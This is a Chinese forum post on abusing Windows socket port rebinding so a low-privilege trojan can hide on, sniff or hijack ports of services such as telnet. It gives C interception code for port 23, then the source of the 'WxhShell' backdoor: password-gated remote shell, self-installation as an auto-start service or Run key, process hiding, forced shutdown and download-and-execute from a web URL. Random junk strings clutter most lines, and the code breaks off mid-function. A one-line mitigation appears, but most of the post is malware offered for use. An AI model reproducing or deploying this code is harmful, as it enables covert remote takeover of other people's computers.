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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2[up+;%Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J#7y< s  
-0 0}if7  
  saddr.sin_family = AF_INET; 4;*f1_;f~  
nbxR"UH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c3k|G<C2  
XnXb&@Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sKfXg`0  
U8O(;+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iP "EA8  
9#rt:&xo0  
  这意味着什么?意味着可以进行如下的攻击: x~/+RF XF  
6c<ezEJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Fe$/t(  
QIV%6q+*R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *^h_z;{,  
>. LKct*5K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @ yxt($G  
8#f$rs(}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k'+}92 o  
2 F?kjg,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7GZq|M_:y  
a$}mWPp+f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }*kJ-q&0  
z\.1>/Z=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X\sm[_I  
,{{SI  
  #include x / XkD]Hq  
  #include 8$}OS-  
  #include I/p]DT  
  #include    Dip*}8$o(w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .3wY\W8Dr-  
  int main() @{}rG8  
  { (pYYkR"  
  WORD wVersionRequested; Y}.Ystem  
  DWORD ret; I/s.xk_i  
  WSADATA wsaData; '29WscU  
  BOOL val; DO^y;y>  
  SOCKADDR_IN saddr; NWKi ()nA%  
  SOCKADDR_IN scaddr; D ,M@8 h,  
  int err; +hH}h?K  
  SOCKET s; N@1p]\  
  SOCKET sc; /V^sJ($V$~  
  int caddsize; l3J$md|f  
  HANDLE mt; m6U8)!)T  
  DWORD tid;   -JTG?JOd]  
  wVersionRequested = MAKEWORD( 2, 2 ); $G[KT):N  
  err = WSAStartup( wVersionRequested, &wsaData ); dDlG!F_=  
  if ( err != 0 ) { <lo`q<q  
  printf("error!WSAStartup failed!\n"); 3j*'HST  
  return -1; b UvK  
  } 3k{ @.V ?]  
  saddr.sin_family = AF_INET; n,nisS  
   V/bH^@,sA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _A-V@%3  
~3=2=Uf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y6VQ:glDT-  
  saddr.sin_port = htons(23); &r@H(}$1\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "$8w.C  
  { 4VFc|g  
  printf("error!socket failed!\n"); E5{n?e  
  return -1; A,c'g}:  
  } F]5\YYXO  
  val = TRUE; Jz$ >k$!UD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w3bIb$12  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e2Jp'93o'  
  { Taasi` k  
  printf("error!setsockopt failed!\n"); lzfDH =&  
  return -1; RgGA$HN/  
  } 'v`_Ii|-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F5IZ"Itu(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kfCKhx   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -N z}DW>  
:t>Q:mX(N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h5!d  
  { .)`-Hkxa  
  ret=GetLastError(); `a'` $'j  
  printf("error!bind failed!\n"); t/ eo]  
  return -1; xjrlc9  
  } ':sTd^V  
  listen(s,2); PP-kz;|  
  while(1) >zR14VO`_|  
  { [q$e6JwAt  
  caddsize = sizeof(scaddr); w_H2gaQ  
  //接受连接请求 " $=qGHA~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ohplj`X[21  
  if(sc!=INVALID_SOCKET) \G3!TwC%  
  { :gaETr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6n-r  
  if(mt==NULL) n?Zf/T  
  { qUg9$oh{LI  
  printf("Thread Creat Failed!\n"); i;]CL[#2e`  
  break; y.ql#eQ,  
  } :rL?1"   
  } 6$(0Ty  
  CloseHandle(mt); `Sx.|`x8  
  } hr1$1&p  
  closesocket(s); Nm"<!a<F  
  WSACleanup(); |h D~6a  
  return 0; mQ=sNZ-d]  
  }   [DhEh@  
  DWORD WINAPI ClientThread(LPVOID lpParam) ',#   
  { ZM 8U]0[X  
  SOCKET ss = (SOCKET)lpParam; e&ts\0  
  SOCKET sc; ~4+8p9f  
  unsigned char buf[4096]; \-d '9b?  
  SOCKADDR_IN saddr; "5(W[$f*]v  
  long num; Se/ss!If  
  DWORD val; 1=>2uYKR  
  DWORD ret; 8? F 2jv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L}b'+Wi@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g41<8^(  
  saddr.sin_family = AF_INET; L5&K}F]r^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N5ci};?  
  saddr.sin_port = htons(23); L,W:,i/C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V:8@)Hc=  
  { u9,=po=+7f  
  printf("error!socket failed!\n"); q55M8B 4w  
  return -1; 3wo'jOb  
  } hWm0$v 1p  
  val = 100; df yrn%^Ia  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1[px`%DR~  
  { s*eyTm  
  ret = GetLastError(); N-xnenci  
  return -1; :k\} I k  
  } \D ^7Z97  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VH[l\I(h  
  { !9PX\Xbn  
  ret = GetLastError(); m $)YYpX  
  return -1; w~p4S+k&  
  } B9AbKK$`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +~:x}QwGT  
  { {x|MA(NO  
  printf("error!socket connect failed!\n"); y=wdR|b  
  closesocket(sc); $.;iu2iyo  
  closesocket(ss); fH; |Rm  
  return -1; 2G H)iUmc  
  } |K6nOX!i  
  while(1) G$|G w  
  { A_aO }oBX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :bI,rEW#_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y _6r/z^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =?^-P{:\?  
  num = recv(ss,buf,4096,0); \Ec X!aC  
  if(num>0) 5%'o%`?i  
  send(sc,buf,num,0); G}Gb|sD Zq  
  else if(num==0) 1R*1BStc  
  break; w8O hJv  
  num = recv(sc,buf,4096,0);  GsI[N%  
  if(num>0) 3Nc'3NPQ'  
  send(ss,buf,num,0); S3nB:$_-;  
  else if(num==0) y)0gJP L^  
  break; g^qz&;R]  
  } 1xq3RD  
  closesocket(ss); e#K rgUG  
  closesocket(sc); .[#xQ=9`  
  return 0 ; N!]PIWnC  
  } 9+W!k^VWq  
$ V3n~.=  
' l|41wxk  
========================================================== suzFcLxo  
*Rz!i m|  
下边附上一个代码,,WXhSHELL g9M')8a n  
w{RNv%hJ$=  
========================================================== 9zmD6G!}t  
7k.d|<mRv  
#include "stdafx.h" &t[z  
?a*fy}A|  
#include <stdio.h> ~GAlNIv]  
#include <string.h> -$'~;O3s  
#include <windows.h> @?'t@P:4  
#include <winsock2.h> ,w,ENU0~f  
#include <winsvc.h> lpIteZw:  
#include <urlmon.h> f+Pg1Q0zI  
5cPSv?x^F@  
#pragma comment (lib, "Ws2_32.lib") NEjPU#@c  
#pragma comment (lib, "urlmon.lib") SH .9!lQv  
Y{+zg9L*  
#define MAX_USER   100 // 最大客户端连接数 7f.4/x^  
#define BUF_SOCK   200 // sock buffer 7}.#Z  
#define KEY_BUFF   255 // 输入 buffer 53g8T+`\(  
v!WU |=u  
#define REBOOT     0   // 重启 )->-~E}p9  
#define SHUTDOWN   1   // 关机 s :-8 Z\,  
6ON  
#define DEF_PORT   5000 // 监听端口 'w>uFg1.  
{hkM*:U  
#define REG_LEN     16   // 注册表键长度 fvAh?<Ul  
#define SVC_LEN     80   // NT服务名长度 ">0/>>Ry  
qat45O4A1  
// 从dll定义API jKY Aid{-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |G`4"``]k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TFiuz; *|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pgLzFY['  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;o~+2Fir  
P#vv+]/  
// wxhshell配置信息 >/ *?4  
struct WSCFG { .ruz l(6  
  int ws_port;         // 监听端口 $71D)*{P  
  char ws_passstr[REG_LEN]; // 口令 *:fw6mnJ#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7?n* t  
  char ws_regname[REG_LEN]; // 注册表键名 0-;DN:>  
  char ws_svcname[REG_LEN]; // 服务名 qd#(`%_/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j. ks UJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^C,/T2>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9H !B)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dy8In%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `JY>v io  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xVh\GU855  
R:pBbA7E  
}; -Y 6.?z  
V,|Bzcz  
// default Wxhshell configuration ^2Fs)19R  
struct WSCFG wscfg={DEF_PORT, HwV gT"  
    "xuhuanlingzhe", (DEL xE  
    1, a@S4IoBg%  
    "Wxhshell", ?hry=I(7r  
    "Wxhshell", @kCD.  
            "WxhShell Service", 0T{c:m~QXe  
    "Wrsky Windows CmdShell Service", %1 VNP(E  
    "Please Input Your Password: ", 5b{yA~ty  
  1, QBPvGnb  
  "http://www.wrsky.com/wxhshell.exe", "M5ro$qZ}  
  "Wxhshell.exe" c=jI.=mi3  
    }; :>er^\  
NZ%~n:/V#  
// 消息定义模块 28UL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WV !kA_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iEJQ#5))0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hI>rtaY_  
char *msg_ws_ext="\n\rExit."; kb}]sj  
char *msg_ws_end="\n\rQuit."; BhE~k?$9  
char *msg_ws_boot="\n\rReboot..."; v{rK_jq  
char *msg_ws_poff="\n\rShutdown..."; Z imMjZ%4  
char *msg_ws_down="\n\rSave to "; g_Dt} !A\B  
4-}A'fTU8  
char *msg_ws_err="\n\rErr!"; 8NF;k5   
char *msg_ws_ok="\n\rOK!"; J:mu%N`  
8)q]^  
char ExeFile[MAX_PATH]; yZ(Nv $[5  
int nUser = 0; yK>0[6l  
HANDLE handles[MAX_USER]; q:~`7I  
int OsIsNt; }96/: ;:k  
+{Vwz  
SERVICE_STATUS       serviceStatus; sKB-7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; amk42  
,TfI  
// 函数声明 {,-5k.P[  
int Install(void); M:1F@\<  
int Uninstall(void); sKG~<8M}  
int DownloadFile(char *sURL, SOCKET wsh); =Q=&Ucf_  
int Boot(int flag); B,m$ur#$  
void HideProc(void); )r6SGlE[Y  
int GetOsVer(void); Z564K7IV  
int Wxhshell(SOCKET wsl); d`],l\o C  
void TalkWithClient(void *cs); {+UNjKQC  
int CmdShell(SOCKET sock); 4pTu P /  
int StartFromService(void); _]~ht H  
int StartWxhshell(LPSTR lpCmdLine); 84oW  
o|*|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m9<[bEO<$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <}Wy;!L  
Hb AMoow!  
// 数据结构和表定义 MCrO]N($b  
SERVICE_TABLE_ENTRY DispatchTable[] = l^eNZ3:H  
{ <1 1Tqb  
{wscfg.ws_svcname, NTServiceMain}, J&U0y  
{NULL, NULL} 8,H5G`  
}; t ]I(98pY  
vhquHy.qi#  
// 自我安装 []N$;~R7  
int Install(void) 4ysdna\+  
{ F6GZZKj  
  char svExeFile[MAX_PATH]; &_^*rD~  
  HKEY key; :mtw}H 'F8  
  strcpy(svExeFile,ExeFile); r dG2| Tp  
]{6yS9_tuI  
// 如果是win9x系统,修改注册表设为自启动 Q}f}Jf3P  
if(!OsIsNt) { N5an9r&z(1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (7jB_ p%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U#]eN[  
  RegCloseKey(key); .gkPG'm[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W0T i ^@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 't%%hw-m}  
  RegCloseKey(key); %WT:RT_  
  return 0; q fH~hg  
    } 0|>  
  } |e[0Qo@  
} xjbyI_D  
else { llG#nDe  
g Wv+i/,  
// 如果是NT以上系统,安装为系统服务 >=W#z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JO^ [@  
if (schSCManager!=0) ^Er`{|o6u  
{ oY6|h3T=Q$  
  SC_HANDLE schService = CreateService NUnc"@  
  ( @)'@LF1Z  
  schSCManager, F)iG D~  
  wscfg.ws_svcname,  nIDsCu=A  
  wscfg.ws_svcdisp, _NqT8C4C  
  SERVICE_ALL_ACCESS, ]XafFr6pe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0V,MDX}#_  
  SERVICE_AUTO_START, HXV73rDA  
  SERVICE_ERROR_NORMAL, Di"9 M(6vf  
  svExeFile, +2fJ  
  NULL, @[kM1:G-F{  
  NULL, NlEWm8u   
  NULL, _5S$mc8K0  
  NULL, H!>oLui  
  NULL {2clOUi  
  ); _,0!ZP-  
  if (schService!=0) = hX-jP  
  { Qp.!U~  
  CloseServiceHandle(schService); sPTUGx'  
  CloseServiceHandle(schSCManager); a<"& RnG(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?_j6})2zY  
  strcat(svExeFile,wscfg.ws_svcname); p}zk&`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c%Cae3;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zUtf&Ih  
  RegCloseKey(key); $H@)hY8wA  
  return 0; }=m?gF%3  
    } rJQ|Oi&1i  
  } bnY8.Lpf|  
  CloseServiceHandle(schSCManager); q[+: t   
} S!!\!w>N  
} o4'4H y  
-xgmc-LGo  
return 1; $#JVI:  
} UVmyOC[Y{  
~(L+4]  
// 自我卸载 a&aIkD  
int Uninstall(void) G/3lX^Z>  
{ ];~[Olc  
  HKEY key; Dlf=N$BL7d  
|=}~>!!  
if(!OsIsNt) { IeI% X\G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U105u.#7  
  RegDeleteValue(key,wscfg.ws_regname); !,!tNs1 K  
  RegCloseKey(key); XTaWd0Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4m!3P"$  
  RegDeleteValue(key,wscfg.ws_regname); *xTquV$  
  RegCloseKey(key); 7.rZ%1N  
  return 0; (Ha}xwA~(  
  } U9sub6w6  
} /_\W*@ E  
} 58'y~Ou  
else { @wJa33QT  
<G?85*Nv_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6-}e-H  
if (schSCManager!=0) }4]x"DfIg  
{ K2`WcEe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O|zmDp8a+  
  if (schService!=0) 'c(Y")QP  
  { Awf = yE:  
  if(DeleteService(schService)!=0) { |RXC;zt9s  
  CloseServiceHandle(schService); ^F9zS `Yz2  
  CloseServiceHandle(schSCManager); Pm;*Jv%  
  return 0; 8&hn$~ate  
  } Dohe(\C@  
  CloseServiceHandle(schService); W%Q>< 'c  
  } s(Bi& C\  
  CloseServiceHandle(schSCManager); 0MGK3o)  
} EoW zHa  
} <!XnUCtV  
3zF7V:XH  
return 1; g7f%(W 2dd  
} x+`3G.  
Yx c >+mx  
// 从指定url下载文件 y+R$pzX  
int DownloadFile(char *sURL, SOCKET wsh) * xXc$T  
{ vz5 RS  
  HRESULT hr; &Sp:?I-  
char seps[]= "/"; 5j5t?G;d,  
char *token; v~QZO4[ '  
char *file; d}J#wT  
char myURL[MAX_PATH]; wk/U"@lq  
char myFILE[MAX_PATH]; ED&KJnquWJ  
O4mWsr  
strcpy(myURL,sURL); 30`H Xv@  
  token=strtok(myURL,seps); !`E2O*g  
  while(token!=NULL) NH6!|T  
  { <)rH8]V  
    file=token; !gQ(1u|r  
  token=strtok(NULL,seps);  :Xr3 3  
  } T,@7giQg@  
s7LX  
GetCurrentDirectory(MAX_PATH,myFILE); c3-bn #  
strcat(myFILE, "\\"); Py<vN!  
strcat(myFILE, file); $7g(-W  
  send(wsh,myFILE,strlen(myFILE),0); ^@eCT}p{  
send(wsh,"...",3,0); Y :BrAa[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1h{_v!X  
  if(hr==S_OK) ^>uGbhBp  
return 0; w=2 X[V}  
else ]TN}` ]  
return 1; Np_6ZUaqz  
obGSc)?j  
} { )K(}~VD  
m!if_Iq  
// 系统电源模块 K?WqAVK  
int Boot(int flag) ).b+S>k  
{ {+}Lc$O#C  
  HANDLE hToken; d^>se'ya  
  TOKEN_PRIVILEGES tkp; /m:}rD  
<{j9|mt  
  if(OsIsNt) { L1K_|X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qpCi61lTDJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'KG`{K$  
    tkp.PrivilegeCount = 1; $R4\jIew V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S_=uv)%a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GV/FK{v5  
if(flag==REBOOT) { ~coG8r"o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) euK!JZ  
  return 0; E ..[F<5  
} -`o:W?V$u  
else { #UIg<:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Atw^C+"vW&  
  return 0; D1 z3E;:  
} o,I642R~  
  } /8R1$7  
  else { E u   
if(flag==REBOOT) { qB`P7!VN^]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i"@?eq#h  
  return 0; V;=T~K|)>  
} NeP1 #  
else { ] 2'~e,"O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TB\CSXb  
  return 0; hJ :+*46  
} m? hX=  
} ap!<8N  
!)]3 @$#  
return 1; DJ.Ct4  
} @VAhmYz  
TvR2lP  
// win9x进程隐藏模块 Ws(>} qjy  
void HideProc(void) R_ }(p2  
{ }, H,ky  
;.Y`T/eWS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h2]Od(^[  
  if ( hKernel != NULL ) @lI/g  
  { }PJ:9<G y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ADDpm-]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2},}R'aR  
    FreeLibrary(hKernel); O%I'   
  } ZmDr$iU~  
JC-L80-  
return; |(N4x(xl  
} +?p ;,Z%5  
T+fU +GLD  
// 获取操作系统版本 %-dGK)?  
int GetOsVer(void) lF<(yF5  
{ Y!H"LI  
  OSVERSIONINFO winfo; Tm `CA0@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xo,BuK&G  
  GetVersionEx(&winfo);  2r[,w]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]=/f`  
  return 1; p0/I}n4<5n  
  else cg4,PI% hz  
  return 0; P*}Oi7Z  
} laAG%lq/'  
I'!KWpYJT  
// 客户端句柄模块 O/-xkzR*  
int Wxhshell(SOCKET wsl) QwiC2}/  
{ h1"#DnK7  
  SOCKET wsh; 22GtTENd1h  
  struct sockaddr_in client; p|Ln;aYc  
  DWORD myID; 3wK)vW  
S7V;sR"V2  
  while(nUser<MAX_USER) -V\33cA  
{ ^E9@L ??  
  int nSize=sizeof(client); ve$P=ZuM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X(8 ]9  
  if(wsh==INVALID_SOCKET) return 1; N%0Z> G  
0Y\u,\GrxW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :Qf^@TS}O  
if(handles[nUser]==0) l|DOsI'r  
  closesocket(wsh); GovGh? X#x  
else 6A%Y/oU+2  
  nUser++; Si;e_a  
  } X/@Gx 4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {MIs%w.G  
{r Gx*<e  
  return 0; U_w)*)F  
} sO6+L #!  
}=wSfr9g  
// 关闭 socket A M# '(k(  
void CloseIt(SOCKET wsh) 1y 6H2  
{ 3B>!9:w~f  
closesocket(wsh); H>M0G L  
nUser--; ]Dx5t&  
ExitThread(0); _c`Gxt%  
} MYLq2g\  
WWD\EDnS  
// 客户端请求句柄 D`Fl*Wc4H  
void TalkWithClient(void *cs) y9:|}Vh  
{ #*?a"  
l'c|I &Y]  
  SOCKET wsh=(SOCKET)cs; F+9|D  
  char pwd[SVC_LEN]; T"3WB o  
  char cmd[KEY_BUFF]; qxk1Rzm?x  
char chr[1]; BoFJ8Ukq|  
int i,j; F7a\Luae  
*S*;rLH9c  
  while (nUser < MAX_USER) { _bFX(~37z?  
UtY< R  
if(wscfg.ws_passstr) { XVE(p3-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RfFeAg,]/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mR?OSeeB  
  //ZeroMemory(pwd,KEY_BUFF); 9CW .xX8  
      i=0; I9TOBn|6   
  while(i<SVC_LEN) { =f?|f  
F~z4T/TN%G  
  // 设置超时 !c'a<{d@  
  fd_set FdRead; !y `wAm>n  
  struct timeval TimeOut; Q;Xb-\\  
  FD_ZERO(&FdRead); x>7}>Y*(  
  FD_SET(wsh,&FdRead); nTp?  
  TimeOut.tv_sec=8; 3/P2&m  
  TimeOut.tv_usec=0; >4b-NS/}0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k oZqoP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V;Te =4  
AI/xOd!a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vaS/WEY  
  pwd=chr[0]; -"#;U`.oh7  
  if(chr[0]==0xd || chr[0]==0xa) { u6$fF=  
  pwd=0; pd/{yX M  
  break; `gSqwN<x%  
  } >a5CW~Z]  
  i++; vrLI`3n]  
    } 5$`ihO?  
1-Sc@WXd  
  // 如果是非法用户,关闭 socket h,LwC9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -[^aWNqyJ  
} Ox Zw;yD  
/:~mRf^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8%@7G*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (ylpH`  
[f!sBJ!  
while(1) { t6W$t  
h}nceH0s3d  
  ZeroMemory(cmd,KEY_BUFF); VK5|w:  
MR}GxI  
      // 自动支持客户端 telnet标准   rd vq(\A  
  j=0; \'q 9,tP  
  while(j<KEY_BUFF) { *VmJydd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KU|dw^Yk  
  cmd[j]=chr[0]; A (S=  
  if(chr[0]==0xa || chr[0]==0xd) { dj3}Tjt  
  cmd[j]=0; U ]Ek 5p  
  break; HTA@en[5  
  } ]2`PS<a2  
  j++; tsaf|xe  
    } ^rO3B?_  
QVA)&k'T,  
  // 下载文件 eo.y,Uh  
  if(strstr(cmd,"http://")) { 38ChS.(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @ )owj^sA  
  if(DownloadFile(cmd,wsh)) @*`9!K%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =87.6Ai  
  else -rb]<FrL^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BG\g`NK}Z  
  } y9kydu#q  
  else { 3GqvL_  
}d?"i@[  
    switch(cmd[0]) { tXDO@YH3S  
  %eW[`uyV  
  // 帮助 ^vw? 4O  
  case '?': { 'mx_]b^O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c((^l&  
    break; {y-7xg~}  
  } WP{!|d&  
  // 安装 k<x  %  
  case 'i': { Lx6C fR  
    if(Install()) >U?HXu/TJr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Y]*TP  
    else R-CFF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G$FNofQx  
    break; j{PuZ^v1  
    } `3GC}u>}  
  // 卸载 *E lR  
  case 'r': { U,q ]  
    if(Uninstall()) _o'_ z ]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =gL~E9\  
    else 2@ 4^ 81  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eTVI.B@p  
    break; q):Ph&'r  
    } ?L.c~w;l  
  // 显示 wxhshell 所在路径 ,QW>M$g{  
  case 'p': { 5R 6@A?vr  
    char svExeFile[MAX_PATH]; mqPV Eo  
    strcpy(svExeFile,"\n\r"); ~&)  
      strcat(svExeFile,ExeFile); p<%76H A  
        send(wsh,svExeFile,strlen(svExeFile),0); =<~/U?  
    break; &d/v/Y  
    } [;O 6)W  
  // 重启 } ti+tM*  
  case 'b': { >(>Fx\z}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zyey5Z:7  
    if(Boot(REBOOT)) &}sC8,Sr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zr!he$8(2  
    else { |/LCwq%  
    closesocket(wsh); %*4Gx +b  
    ExitThread(0); +Fu=9j/,j  
    } hN% h.;s  
    break; "n'LF?/H'  
    } ^ 'jJ~U  
  // 关机 -.#He  
  case 'd': { zD8q(]: A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P=ARttT`(  
    if(Boot(SHUTDOWN)) jU K0?S>  
